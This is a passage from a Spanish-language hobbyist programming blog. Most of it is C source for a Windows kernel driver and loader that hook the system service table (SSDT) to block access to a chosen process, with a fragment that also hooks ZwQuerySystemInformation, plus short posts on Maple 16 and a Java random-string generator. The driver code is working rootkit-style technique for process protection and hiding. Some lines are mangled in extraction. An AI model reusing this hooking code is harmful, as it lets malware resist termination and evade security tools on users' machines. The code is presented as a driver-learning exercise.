    else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
  
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("Descargando driver...");
  
  //Unhookeamos
  UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
  UNHOOK_SYSCALL( ZwQuerySystemInformation, ZwQuerySysInfoIni, NewZwQuerySysInfo);
  DbgPrint("Eliminando Hooks");
  //Eliminamos la MDL
  if(g_pmdlSystemCall)
  {
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  }
  DbgPrint("Proteccion a SSDT restaurada");
}
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
  int i;
   NTSTATUS Status;
   DriverObject->DriverUnload  = OnUnload;
  for(i=0; iMajorFunction[i] = IOControl; 
    
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
    
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  
     if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
        if(!NT_SUCCESS(Status)){
           IoDeleteDevice(DriverObject->DeviceObject);
             DbgPrint("Error creando link simbolico");
        }else
          DbgPrint("SymbolicLink creado y cargado.");
    }else
        DbgPrint("Error creando el device.");
    
  DbgPrint("Driver cargado.");
  /*
  Hooking de las APIs
  Obtenemos la direccion de OpenProcess
  */
  ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  
  DbgPrint("Hookeando OpenProcess...");
  /*
  Cambiamos la dirección de la SSDT por la nuestra
  */
  HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  
  ZwQuerySysInfoIni = (TypZwQuerySysInfo)(SYSTEMSERVICE(ZwQuerySystemInformation));
   
  DbgPrint("Hookeando QuerySysInfo...");
  HOOK_SYSCALL( ZwQuerySystemInformation, NewZwQuerySysInfo, ZwQuerySysInfoIni);
   return  Status;
}

Saludos!

lunes, 28 de enero de 2013

ZwOpenProcess, provocar un acceso denegado

Llevo tiempo leyendo acerca de driver y me decidí a comenzar tocar código, es por ello que hice esta modificación al driver de Hendrix, que publica en su tema "Introducción a la programación de drivers en Windows", le agregue la parte de la comunicación, se que no es mucho pero bueno por algo se comienza.
Código de EXE
#include 
#include 
#include 
 
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
void Usage(char *name);
char *ExtractFileName(char *Name);
void SendPID(int PID, int bBlock);
 
int main(int argc, char *argv[])
{
  int i = 1;
  if (argc == 1) {
    Usage(argv[0]);
    return 0;
  }
  if (strlen(argv[1]) != 2){
    Usage(argv[0]);
    return 0;
  }
  switch (argv[1][1]){
    case 'i' :
    {
      //Se abre el administrador de servicios con la flag CREATE_SERVICE
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Crea el servicio tipo Driver, que inicie con el sistema
      SC_HANDLE Serv = CreateService(SCMan, argv[2], argv[2],
                                    SERVICE_ALL_ACCESS, // Desired Access 
                                    SERVICE_KERNEL_DRIVER, // Service Type 
                                    SERVICE_DEMAND_START, // Start Type 
                                    SERVICE_ERROR_NORMAL, // Error Controle 
                                    argv[3], NULL, NULL, NULL, NULL, NULL);
      printf("Ruta: %s\n", argv[3]);
      if (Serv == NULL){
        if (GetLastError() == 1073){ //El error 0x431 significa que ya existe el servico
          Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS); //Simplemente obtenemos el handle
          if (Serv == NULL){
            printf("No se puede abrir el servicio\n");
            printf("Error 0x%x", GetLastError()); 
            return 0;
          }
        } else {
          printf("No se puede crear el servicio\n"); 
          printf("Error 0x%x", GetLastError());
          return 0;
        }
      }
      if (!StartService(Serv, 0, NULL)){ //Iniciamos el servicio
        printf("No se puede iniciar el servicio\n");
        printf("Error 0x%x", GetLastError());
        return 0; 
      }
      printf("El servicio %s se ha instalado e iniciado...", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
    case 'd':{
      //Abrimos el admin de servicios
      SC_HANDLE SCMan = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE);
      if (SCMan == NULL){
        printf("No se tienen los permisos necesarios para acceder a los servicios\n");
        return 0; 
      }
      //Se obtiene un handle del servicio
      SC_HANDLE Serv = OpenService(SCMan, argv[2], SERVICE_ALL_ACCESS);
      if (Serv == NULL){
        printf("Error abriendo el servicio %d\n", GetLastError());
        return 0;
      }
      SERVICE_STATUS servStatus; //Enviamos la señal STOP_SERVICE
      BOOL bRet = ControlService(Serv, SERVICE_CONTROL_STOP, &servStatus);
      if (!bRet && (GetLastError() != ERROR_SERVICE_NOT_ACTIVE)){ //Este error significa que ya esta detenido
        printf("No se ha podido detener el servicio\nError: %d", GetLastError());
        return 0; 
      }
      if (!DeleteService(Serv)){ //Lo eliminamos
        printf("Error eliminando el servicio %d", GetLastError());
        return 0;
      }
      printf("Servicio %s detenido y desinstalado", argv[2]);
      CloseServiceHandle(Serv); //Cerramos el handle del servicio
      CloseServiceHandle(SCMan); //Cerramos el handle del administrador de servcios
      break;
    }
     
    case 'h':{
      printf("Proteccion de PID\n");
      SendPID(atoi(argv[2]), 1);
      break;
    }
     
    case 'u':{
      printf("Liberación de PID\n");
      SendPID(atoi(argv[2]), 0);
      break; 
    }
  }
  //system("PAUSE");    
  return 0;
}
 
void Usage(char *name){
  printf("%s [opciones] [parametros]\n", ExtractFileName(name));
  printf("   -i [Nombre] [Ruta]    Carga y crea el servicio del driver.\n");
  printf("   -d [Nombre]           Detiene y elimina en servicio del driver.\n");
  printf("   -h [PID]              Protege un proceso.\n");
  printf("   -u [PID]              Libera un proceso.\n");
}
 
char *ExtractFileName(char *name){
  int len = strlen(name);
   
  while (len > 0){
    if ((int)name[len] != 92)
      len--;
    else {
      len++;
      break;
    }
  }
  int iname = strlen(name) - len;
  char *ret = malloc((iname + 1)*sizeof(char));
  strcpy(ret, name + len);
  return ret;
}
 
void SendPID(int PID, int bBlock){
  HANDLE hDevice;
  BOOL bRet;
  DWORD a, dwState;
  int iBuffer, oBuffer;
   
  //iBuffer = PID;
  hDevice = CreateFile("\\\\.\\driverpid", GENERIC_WRITE | GENERIC_READ,0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);
  if (hDevice != INVALID_HANDLE_VALUE)
  {
    printf("Handle Device: %d\n", hDevice);
    if (bBlock)
      dwState = (DWORD)Block; 
    else
      dwState = (DWORD)Unblock;
     
    printf("Enviando peticion\n");
    bRet = DeviceIoControl(hDevice, dwState, &PID, sizeof(int), &oBuffer, sizeof(int), &a, NULL);
    if (bRet)
      printf("PID: %d se respondio %d\n", iBuffer, oBuffer);  
  } else { 
    printf("No se puede establecer conexion\n");
    printf("0x%08x\n",GetLastError()); 
  }
}

Código del SYS
#include 
  
typedef struct ServiceDescriptorEntry {
        unsigned int *ServiceTableBase;
        unsigned int *ServiceCounterTableBase;
        unsigned int NumberOfServices;
        unsigned char *ParamTableBase;
} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
__declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
  
#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
#define Block CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000001, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
#define Unblock CTL_CODE(FILE_DEVICE_UNKNOWN, 0x00000002, METHOD_BUFFERED, FILE_READ_DATA | FILE_WRITE_DATA)
 
typedef DWORD (ULONG);
PMDL  g_pmdlSystemCall;
PVOID *MappedSystemCallTable;
  
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
  
#define HOOK_SYSCALL(_Function, _Hook, _Orig )  \
       _Orig = (PVOID) InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
#define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \
       InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
  
//Declaramos la API para poder trabajar con ella.
NTSYSAPI NTSTATUS NTAPI ZwOpenProcess (OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
  
  
typedef NTSTATUS (*TypZwOpenProc)(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL);
TypZwOpenProc ZwOpenProcessIni;
 
const WCHAR     Device[]=L"\\device\\driverpid";
const WCHAR     sLink[]=L"\\??\\driverpid";
UNICODE_STRING  Dev, lnk;
 
int ListPID;
 
NTSTATUS IOControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){
  PIO_STACK_LOCATION Stack;
  int *oBuffer;
  int *iBuffer;
  NTSTATUS Status = STATUS_SUCCESS;
   
  Stack = IoGetCurrentIrpStackLocation(Irp);
   
  DbgPrint("Accesando a bloqueo de PID");
  DbgPrint("Asociando buffers...");
       
  iBuffer = oBuffer = Irp->AssociatedIrp.SystemBuffer;
  if (oBuffer && iBuffer){
    if(Stack->Parameters.DeviceIoControl.InputBufferLength == sizeof(int)){
      DbgPrint("Peticion recibida a PID: %d", *iBuffer);
      if(Stack->Parameters.DeviceIoControl.OutputBufferLength == sizeof(int)){
        DbgPrint("Revisando estado de lista.");
        Irp->IoStatus.Information = sizeof(int);
        switch(Stack->Parameters.DeviceIoControl.IoControlCode){
          case Block:
          {
            if (ListPID == 0){
              DbgPrint("Protegiendo PID %d.", *iBuffer);
              ListPID = *iBuffer;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay espacio para proteger.");  
            }
            break;
          }
     
          case Unblock:
          {
            DbgPrint("Eliminando proteccion"); 
            if (ListPID != 0){
              DbgPrint("Liberando PID %d.", *iBuffer);
              ListPID = 0;
              *oBuffer = 1;
            } else {
              *oBuffer = 0;
              DbgPrint("No hay procesos protegidos.");  
            }
          }
        } //Switch
      } else {
        Status = STATUS_BUFFER_TOO_SMALL; 
        Irp->IoStatus.Information = 0;
      } //Buffer Small
    } //In buffer
  } //Asociar buffer
  Irp->IoStatus.Status = STATUS_SUCCESS;
  IoCompleteRequest(Irp, IO_NO_INCREMENT);
  return Status;
}
  
NTSTATUS NewZwOpenProcess(OUT PHANDLE ProcessHandle,IN ACCESS_MASK DesiredAccess,IN POBJECT_ATTRIBUTES ObjectAttributes,IN PCLIENT_ID ClientId OPTIONAL)
{
  HANDLE PID;
  
  __try //Utilizamos el bloque try para evitar BSOD
  {
     PID = ClientId->UniqueProcess;
  }
  __except(EXCEPTION_EXECUTE_HANDLER)
  {
     return STATUS_INVALID_PARAMETER; //Regresamos un estado invalido para que la aplicación se ocupe
    }
  
    //Verificamos el pid
    if (PID == (HANDLE)ListPID){
    DbgPrint("PID: 0x%x", PID);
    return STATUS_ACCESS_DENIED; //Retornamos acceso denegado 
  }
    else return ZwOpenProcessIni(ProcessHandle, DesiredAccess,ObjectAttributes, ClientId); //Llamamos a la API nativa y retornamos el resultado correcto
}
  
VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
{
  DbgPrint("Descargando driver...");
  
  //Unhookeamos
  UNHOOK_SYSCALL( ZwOpenProcess, ZwOpenProcessIni, NewZwOpenProcess );
 
  //Eliminamos la MDL
  if(g_pmdlSystemCall)
  {
    MmUnmapLockedPages(MappedSystemCallTable, g_pmdlSystemCall);
    IoFreeMdl(g_pmdlSystemCall);
  }
}
  
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING theRegistryPath)
{
  int i;
   NTSTATUS Status;
   DriverObject->DriverUnload  = OnUnload;
  for(i=0; iMajorFunction[i] = IOControl; 
    
   RtlInitUnicodeString(&Dev,Device);
   RtlInitUnicodeString(&lnk,sLink);
    
   //Creamos la MDL para deshabilitar la protección de memoria
   //g_pmdlSystemCall = MmCreateMdl(NULL, KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4);
   g_pmdlSystemCall = IoAllocateMdl(KeServiceDescriptorTable.ServiceTableBase, KeServiceDescriptorTable.NumberOfServices*4, FALSE, FALSE, NULL);
   if(!g_pmdlSystemCall)
      return STATUS_UNSUCCESSFUL;
  
   MmBuildMdlForNonPagedPool(g_pmdlSystemCall);
  
   g_pmdlSystemCall->MdlFlags = g_pmdlSystemCall->MdlFlags | MDL_MAPPED_TO_SYSTEM_VA;
  
   MappedSystemCallTable = MmMapLockedPages(g_pmdlSystemCall, KernelMode);
  
   Status = IoCreateDevice(DriverObject,0,&Dev,FILE_DEVICE_UNKNOWN,0,0,&DriverObject->DeviceObject);
  
     if (NT_SUCCESS(Status)){
    Status =IoCreateSymbolicLink(&lnk,&Dev);
    DbgPrint("Creando device...");
        if(!NT_SUCCESS(Status)){
           IoDeleteDevice(DriverObject->DeviceObject);
             DbgPrint("Error creando link simbolico");
        }else
          DbgPrint("SymbolicLink creado y cargado.");
    }else
        DbgPrint("Error creando el device.");
    
   DbgPrint("Driver cargado.");
   ZwOpenProcessIni =(TypZwOpenProc)(SYSTEMSERVICE(ZwOpenProcess));
  
   DbgPrint("Hookeando...");
   HOOK_SYSCALL( ZwOpenProcess, NewZwOpenProcess, ZwOpenProcessIni );
  
   return  Status;
}

En esta imagen se demuestra como se regresa un acceso denegado al intentar cerrar el proceso.


Saludos!

sábado, 27 de octubre de 2012

Maple 16 y volcado de módulos

Se que deje inconcluso el tema de volcado de módulos pero dejando de lado que la escuela me quita mucho tiempo, he tenido un problema que no he podido resolver, reconstruir la tabla IAT. Aún sigo investigando acerca del tema, después les traeré la tercera entrega.
Y me dirán, ¿que es el otro titulo?; bueno les recomiendo un tema para aquellos que estudian alguna materia de matemáticas a nivel universidad, concretamente matrices, operaciones con matrices y métodos como el de Gauss-Jordan. Este programa me ha servido mucho para matrices grandes 20x20 y no lo he siquiera cansado; puede hacer inversas, suma, multiplicación, Gauss-Jordan, eliminación de Gauss, determinantes, submatrices, estadística, dibujo, y muchas cosas mas. Realmente me ha sorprendido, y les repito es solo una recomendación, pues las calculadoras programables están un poco caras (En mi país por lo menos)

Saludos!

sábado, 20 de octubre de 2012

Generador de cadenas aleatorias

Comencé a aprender Java y este es mi primer programa decente xD
Les pide la longitud y devuelve la cadena.

package leer;

import java.util.Random;
import java.util.Scanner;

/**
 *
 * @author Orlando
 */
public class Leer {
    public static void main(String[] args) {
        System.out.println(".:.:.:.:.:.:.:.:.:.:.:.:..:.:.:.:.:.");
        System.out.println("        Generador de cadenas        ");
        System.out.println("            By xNeoDarkx            ");
        System.out.println(".:.:.:.:.:.:.:.:.:.:.:.:..:.:.:.:.:.");
        System.out.println("Introduzca la longitud de la cadena");
        System.out.println(RandomString(getInt()));
                // TODO code application logic here
    }
    
    private static String RandomString(int Longitud){
        int i;
        char letras[] = {'A','B','C','D','E','F','G','H','I','J', 'K','L','M','N','O','P','Q','R','S','T','U',
            'V','W','X','Y','Z','1','2','3','4','5','6','7','8','9','0','a','b','c','d','e','f','g','h','i','j',
            'k','l','m','n','o','p','q','r','s','t','u','v','w','x', 'y','z'};
        Random r = new Random();
        StringBuilder sTemp = new StringBuilder();
        
        for (i = 0; i < Longitud; i++){
            sTemp.append(letras[r.nextInt(letras.length)]);
        }
        return sTemp.toString();
    }
    
    private static int getInt(){
        Scanner ReadLn = new Scanner(System.in);
        return Integer.parseInt(ReadLn.next());
    }
}

Saludos!